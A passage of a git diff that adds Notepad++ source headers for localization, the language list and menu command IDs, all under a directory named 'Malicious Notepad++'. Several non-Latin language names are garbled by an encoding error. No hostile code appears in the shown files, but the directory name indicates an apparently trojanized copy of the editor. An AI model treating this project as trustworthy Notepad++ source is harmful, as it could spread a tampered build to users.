program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef LOCALIZATION_H +#define LOCALIZATION_H + +#include "Common.h" +#include "tinyxmlA.h" + + +class FindReplaceDlg; +class PreferenceDlg; +class ShortcutMapper; +class UserDefineDialog; + +class MenuPosition { +public: + int _x; + int _y; + int _z; + char _id[64]; +}; + + +class NativeLangSpeaker { +public: + NativeLangSpeaker():_nativeLangA(NULL), _nativeLangEncoding(CP_ACP), _isRTL(false), _fileName(NULL){}; + void init(TiXmlDocumentA *nativeLangDocRootA, bool loadIfEnglish = false); + void changeConfigLang(HWND hDlg); + void changeLangTabContextMenu(HMENU hCM); + TiXmlNodeA * searchDlgNode(TiXmlNodeA *node, const char *dlgTagName); + bool changeDlgLang(HWND hDlg, const char *dlgTagName, char *title = NULL); + void changeLangTabDrapContextMenu(HMENU hCM); + generic_string getSpecialMenuEntryName(const char *entryName) const; + generic_string getNativeLangMenuString(int itemID) const; + void changeMenuLang(HMENU menuHandle, generic_string & pluginsTrans, generic_string & windowTrans); + void changeShortcutLang(); + void changeShortcutmapperLang(ShortcutMapper * sm); + void changeStyleCtrlsLang(HWND hDlg, int *idArray, const char **translatedText); + void changeUserDefineLang(UserDefineDialog *userDefineDlg); + void changeUserDefineLangPopupDlg(HWND hDlg); + void changeFindReplaceDlgLang(FindReplaceDlg & findReplaceDlg); + void changePrefereceDlgLang(PreferenceDlg & preference); + bool isRTL() const { + return _isRTL; + }; + + const char * getFileName() const { + return _fileName; + }; + + const TiXmlNodeA * getNativeLangA() { + return _nativeLangA; + }; + + int getLangEncoding() const { + return _nativeLangEncoding; + }; + bool getMsgBoxLang(const char *msgBoxTagName, generic_string & title, generic_string & message); + generic_string getProjectPanelLangMenuStr(const char * nodeName, int cmdID, const TCHAR *defaultStr) const; + //generic_string getFileBrowserLangMenuStr(const char * nodeName, int cmdID, const TCHAR *defaultStr) const; + generic_string getAttrNameStr(const TCHAR *defaultStr, const char *nodeL1Name, const char *nodeL2Name = NULL) const; + generic_string getLocalizedStrFromID(const char *strID) const; + + int messageBox(const char *msgBoxTagName, HWND hWnd, const TCHAR *message, const TCHAR *title, int msgBoxType, int intInfo = 0, const TCHAR *strInfo = NULL); +private: + TiXmlNodeA *_nativeLangA; + int _nativeLangEncoding; + bool _isRTL; + const char *_fileName; +}; + + +MenuPosition & getMenuPosition(const char *id); + +#endif // LOCALIZATION_H diff --git a/Malicious Notepad++/src/localizationString.h b/Malicious Notepad++/src/localizationString.h new file mode 100644 index 0000000..889a0dd --- /dev/null +++ b/Malicious Notepad++/src/localizationString.h @@ -0,0 +1,117 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once + +LocalizationSwitcher::LocalizationDefinition localizationDefs[] = +{ + {TEXT("English"), TEXT("english.xml")}, + {TEXT("English (customizable)"), TEXT("english_customizable.xml")}, + {TEXT("Français"), TEXT("french.xml")}, + {TEXT("中文ç¹é«”"), TEXT("chinese.xml")}, + {TEXT("中文简体"), TEXT("chineseSimplified.xml")}, + {TEXT("한국어"), TEXT("korean.xml")}, + {TEXT("日本語"), TEXT("japanese.xml")}, + {TEXT("Deutsch"), TEXT("german.xml")}, + {TEXT("Español"), TEXT("spanish.xml")}, + {TEXT("Italiano"), TEXT("italian.xml")}, + {TEXT("Português"), TEXT("portuguese.xml")}, + {TEXT("Português brasileiro"), TEXT("brazilian_portuguese.xml")}, + {TEXT("Nederlands"), TEXT("dutch.xml")}, + {TEXT("РуÑÑкий"), TEXT("russian.xml")}, + {TEXT("Polski"), TEXT("polish.xml")}, + {TEXT("Català"), TEXT("catalan.xml")}, + {TEXT("ÄŒesky"), TEXT("czech.xml")}, + {TEXT("Magyar"), TEXT("hungarian.xml")}, + {TEXT("Română"), TEXT("romanian.xml")}, + {TEXT("Türkçe"), TEXT("turkish.xml")}, + {TEXT("Ùارسی"), TEXT("farsi.xml")}, + {TEXT("УкраїнÑька"), TEXT("ukrainian.xml")}, + {TEXT("עברית"), TEXT("hebrew.xml")}, + {TEXT("Nynorsk"), TEXT("nynorsk.xml")}, + {TEXT("Norsk"), TEXT("norwegian.xml")}, + {TEXT("Occitan"), TEXT("occitan.xml")}, + {TEXT("ไทย"), TEXT("thai.xml")}, + {TEXT("Furlan"), TEXT("friulian.xml")}, + {TEXT("الْعَرَبيّة"), TEXT("arabic.xml")}, + {TEXT("Suomi"), TEXT("finnish.xml")}, + {TEXT("Lietuvių"), TEXT("lithuanian.xml")}, + {TEXT("Ελληνικά"), TEXT("greek.xml")}, + {TEXT("Svenska"), TEXT("swedish.xml")}, + {TEXT("Galego"), TEXT("galician.xml")}, + {TEXT("SlovenÅ¡Äina"), TEXT("slovenian.xml")}, + {TEXT("SlovenÄina"), TEXT("slovak.xml")}, + {TEXT("Dansk"), TEXT("danish.xml")}, + {TEXT("Estremeñu"), TEXT("extremaduran.xml")}, + {TEXT("Žemaitiu ruoda"), TEXT("samogitian.xml")}, + {TEXT("БългарÑки"), TEXT("bulgarian.xml")}, + {TEXT("Bahasa Indonesia"), TEXT("indonesian.xml")}, + {TEXT("Gjuha shqipe"), TEXT("albanian.xml")}, + {TEXT("Hrvatski jezik"), TEXT("croatian.xml")}, + {TEXT("ქáƒáƒ áƒ—ული ენáƒ"), TEXT("georgian.xml")}, + {TEXT("Euskara"), TEXT("basque.xml")}, + {TEXT("Español argentina"), TEXT("spanish_ar.xml")}, + {TEXT("БеларуÑÐºÐ°Ñ Ð¼Ð¾Ð²Ð°"), TEXT("belarusian.xml")}, + {TEXT("Srpski"), TEXT("serbian.xml")}, + {TEXT("CрпÑки"), TEXT("serbianCyrillic.xml")}, + {TEXT("Bahasa Melayu"), TEXT("malay.xml")}, + {TEXT("Lëtzebuergesch"), TEXT("luxembourgish.xml")}, + {TEXT("Tagalog"), TEXT("tagalog.xml")}, + {TEXT("Afrikaans"), TEXT("afrikaans.xml")}, + {TEXT("Қазақша"), TEXT("kazakh.xml")}, + {TEXT("O‘zbekcha"), TEXT("uzbek.xml")}, + {TEXT("Ўзбекча"), TEXT("uzbekCyrillic.xml")}, + {TEXT("Кыргыз тили"), TEXT("kyrgyz.xml")}, + {TEXT("МакедонÑки јазик"), TEXT("macedonian.xml")}, + {TEXT("latvieÅ¡u valoda"), TEXT("latvian.xml")}, + {TEXT("தமிழà¯"), TEXT("tamil.xml")}, + {TEXT("AzÉ™rbaycan dili"), TEXT("azerbaijani.xml")}, + {TEXT("Bosanski"), TEXT("bosnian.xml")}, + {TEXT("Esperanto"), TEXT("esperanto.xml")}, + {TEXT("Zeneize"), TEXT("ligurian.xml")}, + {TEXT("हिनà¥à¤¦à¥€"), TEXT("hindi.xml")}, + {TEXT("Sardu"), TEXT("sardinian.xml")}, + {TEXT("ئۇيغۇرچە"), TEXT("uyghur.xml")}, + {TEXT("తెలà±à°—à±"), TEXT("telugu.xml")}, + {TEXT("aragonés"), TEXT("aragonese.xml")}, + {TEXT("বাংলা"), TEXT("bengali.xml")}, + {TEXT("සිංහල"), TEXT("sinhala.xml")}, + {TEXT("Taqbaylit"), TEXT("kabyle.xml")}, + {TEXT("मराठी"), TEXT("marathi.xml")}, + {TEXT("tiếng Việt"), TEXT("vietnamese.xml")}, + {TEXT("Aranés"), TEXT("aranese.xml")}, + {TEXT("ગà«àªœàª°àª¾àª¤à«€"), TEXT("gujarati.xml")}, + {TEXT("Монгол Ñ…Ñл"), TEXT("mongolian.xml")}, + {TEXT("اÙردÙو‎"), TEXT("urdu.xml")}, + {TEXT("ಕನà³à²¨à²¡â€Ž"), TEXT("kannada.xml")}, + {TEXT("Cymraeg"), TEXT("welsh.xml")}, + {TEXT("eesti keel"), TEXT("estonian.xml")}, + {TEXT("Тоҷик"), TEXT("tajikCyrillic.xml")}, + {TEXT("татарча"), TEXT("tatar.xml")}, + {TEXT("ਪੰਜਾਬੀ"), TEXT("punjabi.xml")}, + {TEXT("Corsu"), TEXT("corsican.xml")}, + {TEXT("Brezhoneg"), TEXT("breton.xml")} +}; \ No newline at end of file diff --git a/Malicious Notepad++/src/menuCmdID.h b/Malicious Notepad++/src/menuCmdID.h new file mode 100644 index 0000000..58b2417 --- /dev/null +++ b/Malicious Notepad++/src/menuCmdID.h @@ -0,0 +1,570 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef MENUCMDID_H +#define MENUCMDID_H + +#define IDM 40000 + +#define IDM_FILE (IDM + 1000) +// IMPORTANT: If list below is modified, you have to change the value of IDM_FILEMENU_LASTONE and IDM_FILEMENU_EXISTCMDPOSITION + #define IDM_FILE_NEW (IDM_FILE + 1) + #define IDM_FILE_OPEN (IDM_FILE + 2) + #define IDM_FILE_CLOSE (IDM_FILE + 3) + #define IDM_FILE_CLOSEALL (IDM_FILE + 4) + #define IDM_FILE_CLOSEALL_BUT_CURRENT (IDM_FILE + 5) + #define IDM_FILE_SAVE (IDM_FILE + 6) + #define IDM_FILE_SAVEALL (IDM_FILE + 7) + #define IDM_FILE_SAVEAS (IDM_FILE + 8) + #define IDM_FILE_CLOSEALL_TOLEFT (IDM_FILE + 9) + #define IDM_FILE_PRINT (IDM_FILE + 10) + #define IDM_FILE_PRINTNOW 1001 + #define IDM_FILE_EXIT (IDM_FILE + 11) + #define IDM_FILE_LOADSESSION (IDM_FILE + 12) + #define IDM_FILE_SAVESESSION (IDM_FILE + 13) + #define IDM_FILE_RELOAD (IDM_FILE + 14) + #define IDM_FILE_SAVECOPYAS (IDM_FILE + 15) + #define IDM_FILE_DELETE (IDM_FILE + 16) + #define IDM_FILE_RENAME (IDM_FILE + 17) + #define IDM_FILE_CLOSEALL_TORIGHT (IDM_FILE + 18) + #define IDM_FILE_OPEN_FOLDER (IDM_FILE + 19) + #define IDM_FILE_OPEN_CMD (IDM_FILE + 20) + #define IDM_FILE_RESTORELASTCLOSEDFILE (IDM_FILE + 21) + #define IDM_FILE_OPENFOLDERASWORSPACE (IDM_FILE + 22) + #define IDM_FILE_OPEN_DEFAULT_VIEWER (IDM_FILE + 23) +// IMPORTANT: If list above is modified, you have to change the following values: + +// To be updated if new menu item(s) is (are) added in menu "File" + #define IDM_FILEMENU_LASTONE IDM_FILE_OPEN_DEFAULT_VIEWER + +// 0 based position of command "Exit" including the bars in the file menu +// and without counting "Recent files history" items + +// 0 New +// 1 Open... +// 2 Open Containing Folder +// 3 Open Folder as Workspace +// 4 Open in Default Viewer +// 5 Reload from Disk +// 6 Save +// 7 Save As... +// 8 Save a Copy As... +// 9 Save All +//10 Rename... +//11 Close +//12 Close All +//13 Close More +//14 Move to Recycle Bin +//15 -------- +//16 Load Session... +//17 Save Session... +//18 -------- +//19 Print... +//20 Print Now +//21 -------- +//22 Exit + #define IDM_FILEMENU_EXISTCMDPOSITION 22 + + +#define IDM_EDIT (IDM + 2000) + #define IDM_EDIT_CUT (IDM_EDIT + 1) + #define IDM_EDIT_COPY (IDM_EDIT + 2) + #define IDM_EDIT_UNDO (IDM_EDIT + 3) + #define IDM_EDIT_REDO (IDM_EDIT + 4) + #define IDM_EDIT_PASTE (IDM_EDIT + 5) + #define IDM_EDIT_DELETE (IDM_EDIT + 6) + #define IDM_EDIT_SELECTALL (IDM_EDIT + 7) + #define IDM_EDIT_BEGINENDSELECT (IDM_EDIT + 20) + + #define IDM_EDIT_INS_TAB (IDM_EDIT + 8) + #define IDM_EDIT_RMV_TAB (IDM_EDIT + 9) + #define IDM_EDIT_DUP_LINE (IDM_EDIT + 10) + #define IDM_EDIT_TRANSPOSE_LINE (IDM_EDIT + 11) + #define IDM_EDIT_SPLIT_LINES (IDM_EDIT + 12) + #define IDM_EDIT_JOIN_LINES (IDM_EDIT + 13) + #define IDM_EDIT_LINE_UP (IDM_EDIT + 14) + #define IDM_EDIT_LINE_DOWN (IDM_EDIT + 15) + #define IDM_EDIT_UPPERCASE (IDM_EDIT + 16) + #define IDM_EDIT_LOWERCASE (IDM_EDIT + 17) + #define IDM_EDIT_PROPERCASE_FORCE (IDM_EDIT + 67) + #define IDM_EDIT_PROPERCASE_BLEND (IDM_EDIT + 68) + #define IDM_EDIT_SENTENCECASE_FORCE (IDM_EDIT + 69) + #define IDM_EDIT_SENTENCECASE_BLEND (IDM_EDIT + 70) + #define IDM_EDIT_INVERTCASE (IDM_EDIT + 71) + #define IDM_EDIT_RANDOMCASE (IDM_EDIT + 72) + #define IDM_EDIT_REMOVEEMPTYLINES (IDM_EDIT + 55) + #define IDM_EDIT_REMOVEEMPTYLINESWITHBLANK (IDM_EDIT + 56) + #define IDM_EDIT_BLANKLINEABOVECURRENT (IDM_EDIT + 57) + #define IDM_EDIT_BLANKLINEBELOWCURRENT (IDM_EDIT + 58) + #define IDM_EDIT_SORTLINES_LEXICOGRAPHIC_ASCENDING (IDM_EDIT + 59) + #define IDM_EDIT_SORTLINES_LEXICOGRAPHIC_DESCENDING (IDM_EDIT + 60) + #define IDM_EDIT_SORTLINES_INTEGER_ASCENDING (IDM_EDIT + 61) + #define IDM_EDIT_SORTLINES_INTEGER_DESCENDING (IDM_EDIT + 62) + #define IDM_EDIT_SORTLINES_DECIMALCOMMA_ASCENDING (IDM_EDIT + 63) + #define IDM_EDIT_SORTLINES_DECIMALCOMMA_DESCENDING (IDM_EDIT + 64) + #define IDM_EDIT_SORTLINES_DECIMALDOT_ASCENDING (IDM_EDIT + 65) + #define IDM_EDIT_SORTLINES_DECIMALDOT_DESCENDING (IDM_EDIT + 66) + + #define IDM_EDIT_OPENASFILE (IDM_EDIT + 73) + #define IDM_EDIT_OPENINFOLDER (IDM_EDIT + 74) + #define IDM_EDIT_SEARCHONINTERNET (IDM_EDIT + 75) + #define IDM_EDIT_CHANGESEARCHENGINE (IDM_EDIT + 76) + +// Menu macro + #define IDM_MACRO_STARTRECORDINGMACRO (IDM_EDIT + 18) + #define IDM_MACRO_STOPRECORDINGMACRO (IDM_EDIT + 19) + #define IDM_MACRO_PLAYBACKRECORDEDMACRO (IDM_EDIT + 21) +//----------- + + #define IDM_EDIT_BLOCK_COMMENT (IDM_EDIT + 22) + #define IDM_EDIT_STREAM_COMMENT (IDM_EDIT + 23) + #define IDM_EDIT_TRIMTRAILING (IDM_EDIT + 24) + #define IDM_EDIT_TRIMLINEHEAD (IDM_EDIT + 42) + #define IDM_EDIT_TRIM_BOTH (IDM_EDIT + 43) + #define IDM_EDIT_EOL2WS (IDM_EDIT + 44) + #define IDM_EDIT_TRIMALL (IDM_EDIT + 45) + #define IDM_EDIT_TAB2SW (IDM_EDIT + 46) + #define IDM_EDIT_SW2TAB_LEADING (IDM_EDIT + 53) + #define IDM_EDIT_SW2TAB_ALL (IDM_EDIT + 54) + #define IDM_EDIT_STREAM_UNCOMMENT (IDM_EDIT + 47) + +// Menu macro + #define IDM_MACRO_SAVECURRENTMACRO (IDM_EDIT + 25) +//----------- + + #define IDM_EDIT_RTL (IDM_EDIT + 26) + #define IDM_EDIT_LTR (IDM_EDIT + 27) + #define IDM_EDIT_SETREADONLY (IDM_EDIT + 28) + #define IDM_EDIT_FULLPATHTOCLIP (IDM_EDIT + 29) + #define IDM_EDIT_FILENAMETOCLIP (IDM_EDIT + 30) + #define IDM_EDIT_CURRENTDIRTOCLIP (IDM_EDIT + 31) + +// Menu macro + #define IDM_MACRO_RUNMULTIMACRODLG (IDM_EDIT + 32) +//----------- + + #define IDM_EDIT_CLEARREADONLY (IDM_EDIT + 33) + #define IDM_EDIT_COLUMNMODE (IDM_EDIT + 34) + #define IDM_EDIT_BLOCK_COMMENT_SET (IDM_EDIT + 35) + #define IDM_EDIT_BLOCK_UNCOMMENT (IDM_EDIT + 36) + #define IDM_EDIT_COLUMNMODETIP (IDM_EDIT + 37) + #define IDM_EDIT_PASTE_AS_HTML (IDM_EDIT + 38) + #define IDM_EDIT_PASTE_AS_RTF (IDM_EDIT + 39) + #define IDM_EDIT_COPY_BINARY (IDM_EDIT + 48) + #define IDM_EDIT_CUT_BINARY (IDM_EDIT + 49) + #define IDM_EDIT_PASTE_BINARY (IDM_EDIT + 50) + #define IDM_EDIT_CHAR_PANEL (IDM_EDIT + 51) + #define IDM_EDIT_CLIPBOARDHISTORY_PANEL (IDM_EDIT + 52) + + #define IDM_EDIT_AUTOCOMPLETE (50000 + 0) + #define IDM_EDIT_AUTOCOMPLETE_CURRENTFILE (50000 + 1) + #define IDM_EDIT_FUNCCALLTIP (50000 + 2) + #define IDM_EDIT_AUTOCOMPLETE_PATH (50000 + 6) + + //Belong to MENU FILE + #define IDM_OPEN_ALL_RECENT_FILE (IDM_EDIT + 40) + #define IDM_CLEAN_RECENT_FILE_LIST (IDM_EDIT + 41) + +#define IDM_SEARCH (IDM + 3000) + #define IDM_SEARCH_FIND (IDM_SEARCH + 1) + #define IDM_SEARCH_FINDNEXT (IDM_SEARCH + 2) + #define IDM_SEARCH_REPLACE (IDM_SEARCH + 3) + #define IDM_SEARCH_GOTOLINE (IDM_SEARCH + 4) + #define IDM_SEARCH_TOGGLE_BOOKMARK (IDM_SEARCH + 5) + #define IDM_SEARCH_NEXT_BOOKMARK (IDM_SEARCH + 6) + #define IDM_SEARCH_PREV_BOOKMARK (IDM_SEARCH + 7) + #define IDM_SEARCH_CLEAR_BOOKMARKS (IDM_SEARCH + 8) + #define IDM_SEARCH_GOTOMATCHINGBRACE (IDM_SEARCH + 9) + #define IDM_SEARCH_FINDPREV (IDM_SEARCH + 10) + #define IDM_SEARCH_FINDINCREMENT (IDM_SEARCH + 11) + #define IDM_SEARCH_FINDINFILES (IDM_SEARCH + 13) + #define IDM_SEARCH_VOLATILE_FINDNEXT (IDM_SEARCH + 14) + #define IDM_SEARCH_VOLATILE_FINDPREV (IDM_SEARCH + 15) + #define IDM_SEARCH_CUTMARKEDLINES (IDM_SEARCH + 18) + #define IDM_SEARCH_COPYMARKEDLINES (IDM_SEARCH + 19) + #define IDM_SEARCH_PASTEMARKEDLINES (IDM_SEARCH + 20) + #define IDM_SEARCH_DELETEMARKEDLINES (IDM_SEARCH + 21) + #define IDM_SEARCH_MARKALLEXT1 (IDM_SEARCH + 22) + #define IDM_SEARCH_UNMARKALLEXT1 (IDM_SEARCH + 23) + #define IDM_SEARCH_MARKALLEXT2 (IDM_SEARCH + 24) + #define IDM_SEARCH_UNMARKALLEXT2 (IDM_SEARCH + 25) + #define IDM_SEARCH_MARKALLEXT3 (IDM_SEARCH + 26) + #define IDM_SEARCH_UNMARKALLEXT3 (IDM_SEARCH + 27) + #define IDM_SEARCH_MARKALLEXT4 (IDM_SEARCH + 28) + #define IDM_SEARCH_UNMARKALLEXT4 (IDM_SEARCH + 29) + #define IDM_SEARCH_MARKALLEXT5 (IDM_SEARCH + 30) + #define IDM_SEARCH_UNMARKALLEXT5 (IDM_SEARCH + 31) + #define IDM_SEARCH_CLEARALLMARKS (IDM_SEARCH + 32) + + #define IDM_SEARCH_GOPREVMARKER1 (IDM_SEARCH + 33) + #define IDM_SEARCH_GOPREVMARKER2 (IDM_SEARCH + 34) + #define IDM_SEARCH_GOPREVMARKER3 (IDM_SEARCH + 35) + #define IDM_SEARCH_GOPREVMARKER4 (IDM_SEARCH + 36) + #define IDM_SEARCH_GOPREVMARKER5 (IDM_SEARCH + 37) + #define IDM_SEARCH_GOPREVMARKER_DEF (IDM_SEARCH + 38) + + #define IDM_SEARCH_GONEXTMARKER1 (IDM_SEARCH + 39) + #define IDM_SEARCH_GONEXTMARKER2 (IDM_SEARCH + 40) + #define IDM_SEARCH_GONEXTMARKER3 (IDM_SEARCH + 41) + #define IDM_SEARCH_GONEXTMARKER4 (IDM_SEARCH + 42) + #define IDM_SEARCH_GONEXTMARKER5 (IDM_SEARCH + 43) + #define IDM_SEARCH_GONEXTMARKER_DEF (IDM_SEARCH + 44) + + #define IDM_FOCUS_ON_FOUND_RESULTS (IDM_SEARCH + 45) + #define IDM_SEARCH_GOTONEXTFOUND (IDM_SEARCH + 46) + #define IDM_SEARCH_GOTOPREVFOUND (IDM_SEARCH + 47) + + #define IDM_SEARCH_SETANDFINDNEXT (IDM_SEARCH + 48) + #define IDM_SEARCH_SETANDFINDPREV (IDM_SEARCH + 49) + #define IDM_SEARCH_INVERSEMARKS (IDM_SEARCH + 50) + #define IDM_SEARCH_DELETEUNMARKEDLINES (IDM_SEARCH + 51) + #define IDM_SEARCH_FINDCHARINRANGE (IDM_SEARCH + 52) + #define IDM_SEARCH_SELECTMATCHINGBRACES (IDM_SEARCH + 53) + #define IDM_SEARCH_MARK (IDM_SEARCH + 54) + +#define IDM_MISC (IDM + 3500) + #define IDM_FILESWITCHER_FILESCLOSE (IDM_MISC + 1) + #define IDM_FILESWITCHER_FILESCLOSEOTHERS (IDM_MISC + 2) + + +#define IDM_VIEW (IDM + 4000) + //#define IDM_VIEW_TOOLBAR_HIDE (IDM_VIEW + 1) + #define IDM_VIEW_TOOLBAR_REDUCE (IDM_VIEW + 2) + #define IDM_VIEW_TOOLBAR_ENLARGE (IDM_VIEW + 3) + #define IDM_VIEW_TOOLBAR_STANDARD (IDM_VIEW + 4) + #define IDM_VIEW_REDUCETABBAR (IDM_VIEW + 5) + #define IDM_VIEW_LOCKTABBAR (IDM_VIEW + 6) + #define IDM_VIEW_DRAWTABBAR_TOPBAR (IDM_VIEW + 7) + #define IDM_VIEW_DRAWTABBAR_INACIVETAB (IDM_VIEW + 8) + #define IDM_VIEW_POSTIT (IDM_VIEW + 9) + #define IDM_VIEW_TOGGLE_FOLDALL (IDM_VIEW + 10) + //#define IDM_VIEW_USER_DLG (IDM_VIEW + 11) + #define IDM_VIEW_LINENUMBER (IDM_VIEW + 12) + #define IDM_VIEW_SYMBOLMARGIN (IDM_VIEW + 13) + #define IDM_VIEW_FOLDERMAGIN (IDM_VIEW + 14) + #define IDM_VIEW_FOLDERMAGIN_SIMPLE (IDM_VIEW + 15) + #define IDM_VIEW_FOLDERMAGIN_ARROW (IDM_VIEW + 16) + #define IDM_VIEW_FOLDERMAGIN_CIRCLE (IDM_VIEW + 17) + #define IDM_VIEW_FOLDERMAGIN_BOX (IDM_VIEW + 18) + #define IDM_VIEW_ALL_CHARACTERS (IDM_VIEW + 19) + #define IDM_VIEW_INDENT_GUIDE (IDM_VIEW + 20) + #define IDM_VIEW_CURLINE_HILITING (IDM_VIEW + 21) + #define IDM_VIEW_WRAP (IDM_VIEW + 22) + #define IDM_VIEW_ZOOMIN (IDM_VIEW + 23) + #define IDM_VIEW_ZOOMOUT (IDM_VIEW + 24) + #define IDM_VIEW_TAB_SPACE (IDM_VIEW + 25) + #define IDM_VIEW_EOL (IDM_VIEW + 26) + #define IDM_VIEW_EDGELINE (IDM_VIEW + 27) + #define IDM_VIEW_EDGEBACKGROUND (IDM_VIEW + 28) + #define IDM_VIEW_TOGGLE_UNFOLDALL (IDM_VIEW + 29) + #define IDM_VIEW_FOLD_CURRENT (IDM_VIEW + 30) + #define IDM_VIEW_UNFOLD_CURRENT (IDM_VIEW + 31) + #define IDM_VIEW_FULLSCREENTOGGLE (IDM_VIEW + 32) + #define IDM_VIEW_ZOOMRESTORE (IDM_VIEW + 33) + #define IDM_VIEW_ALWAYSONTOP (IDM_VIEW + 34) + #define IDM_VIEW_SYNSCROLLV (IDM_VIEW + 35) + #define IDM_VIEW_SYNSCROLLH (IDM_VIEW + 36) + #define IDM_VIEW_EDGENONE (IDM_VIEW + 37) + #define IDM_VIEW_DRAWTABBAR_CLOSEBOTTUN (IDM_VIEW + 38) + #define IDM_VIEW_DRAWTABBAR_DBCLK2CLOSE (IDM_VIEW + 39) + #define IDM_VIEW_REFRESHTABAR (IDM_VIEW + 40) + #define IDM_VIEW_WRAP_SYMBOL (IDM_VIEW + 41) + #define IDM_VIEW_HIDELINES (IDM_VIEW + 42) + #define IDM_VIEW_DRAWTABBAR_VERTICAL (IDM_VIEW + 43) + #define IDM_VIEW_DRAWTABBAR_MULTILINE (IDM_VIEW + 44) + #define IDM_VIEW_DOCCHANGEMARGIN (IDM_VIEW + 45) + #define IDM_VIEW_LWDEF (IDM_VIEW + 46) + #define IDM_VIEW_LWALIGN (IDM_VIEW + 47) + #define IDM_VIEW_LWINDENT (IDM_VIEW + 48) + #define IDM_VIEW_SUMMARY (IDM_VIEW + 49) + + #define IDM_VIEW_FOLD (IDM_VIEW + 50) + #define IDM_VIEW_FOLD_1 (IDM_VIEW_FOLD + 1) + #define IDM_VIEW_FOLD_2 (IDM_VIEW_FOLD + 2) + #define IDM_VIEW_FOLD_3 (IDM_VIEW_FOLD + 3) + #define IDM_VIEW_FOLD_4 (IDM_VIEW_FOLD + 4) + #define IDM_VIEW_FOLD_5 (IDM_VIEW_FOLD + 5) + #define IDM_VIEW_FOLD_6 (IDM_VIEW_FOLD + 6) + #define IDM_VIEW_FOLD_7 (IDM_VIEW_FOLD + 7) + #define IDM_VIEW_FOLD_8 (IDM_VIEW_FOLD + 8) + + #define IDM_VIEW_UNFOLD (IDM_VIEW + 60) + #define IDM_VIEW_UNFOLD_1 (IDM_VIEW_UNFOLD + 1) + #define IDM_VIEW_UNFOLD_2 (IDM_VIEW_UNFOLD + 2) + #define IDM_VIEW_UNFOLD_3 (IDM_VIEW_UNFOLD + 3) + #define IDM_VIEW_UNFOLD_4 (IDM_VIEW_UNFOLD + 4) + #define IDM_VIEW_UNFOLD_5 (IDM_VIEW_UNFOLD + 5) + #define IDM_VIEW_UNFOLD_6 (IDM_VIEW_UNFOLD + 6) + #define IDM_VIEW_UNFOLD_7 (IDM_VIEW_UNFOLD + 7) + #define IDM_VIEW_UNFOLD_8 (IDM_VIEW_UNFOLD + 8) + + #define IDM_VIEW_FILESWITCHER_PANEL (IDM_VIEW + 70) + #define IDM_VIEW_SWITCHTO_OTHER_VIEW (IDM_VIEW + 72) + #define IDM_EXPORT_FUNC_LIST_AND_QUIT (IDM_VIEW + 73) + + #define IDM_VIEW_DOC_MAP (IDM_VIEW + 80) + + #define IDM_VIEW_PROJECT_PANEL_1 (IDM_VIEW + 81) + #define IDM_VIEW_PROJECT_PANEL_2 (IDM_VIEW + 82) + #define IDM_VIEW_PROJECT_PANEL_3 (IDM_VIEW + 83) + + #define IDM_VIEW_FUNC_LIST (IDM_VIEW + 84) + #define IDM_VIEW_FILEBROWSER (IDM_VIEW + 85) + + #define IDM_VIEW_TAB1 (IDM_VIEW + 86) + #define IDM_VIEW_TAB2 (IDM_VIEW + 87) + #define IDM_VIEW_TAB3 (IDM_VIEW + 88) + #define IDM_VIEW_TAB4 (IDM_VIEW + 89) + #define IDM_VIEW_TAB5 (IDM_VIEW + 90) + #define IDM_VIEW_TAB6 (IDM_VIEW + 91) + #define IDM_VIEW_TAB7 (IDM_VIEW + 92) + #define IDM_VIEW_TAB8 (IDM_VIEW + 93) + #define IDM_VIEW_TAB9 (IDM_VIEW + 94) + #define IDM_VIEW_TAB_NEXT (IDM_VIEW + 95) + #define IDM_VIEW_TAB_PREV (IDM_VIEW + 96) + #define IDM_VIEW_MONITORING (IDM_VIEW + 97) + #define IDM_VIEW_TAB_MOVEFORWARD (IDM_VIEW + 98) + #define IDM_VIEW_TAB_MOVEBACKWARD (IDM_VIEW + 99) + + #define IDM_VIEW_GOTO_ANOTHER_VIEW 10001 + #define IDM_VIEW_CLONE_TO_ANOTHER_VIEW 10002 + #define IDM_VIEW_GOTO_NEW_INSTANCE 10003 + #define IDM_VIEW_LOAD_IN_NEW_INSTANCE 10004 + + +#define IDM_FORMAT (IDM + 5000) + #define IDM_FORMAT_TODOS (IDM_FORMAT + 1) + #define IDM_FORMAT_TOUNIX (IDM_FORMAT + 2) + #define IDM_FORMAT_TOMAC (IDM_FORMAT + 3) + #define IDM_FORMAT_ANSI (IDM_FORMAT + 4) + #define IDM_FORMAT_UTF_8 (IDM_FORMAT + 5) + #define 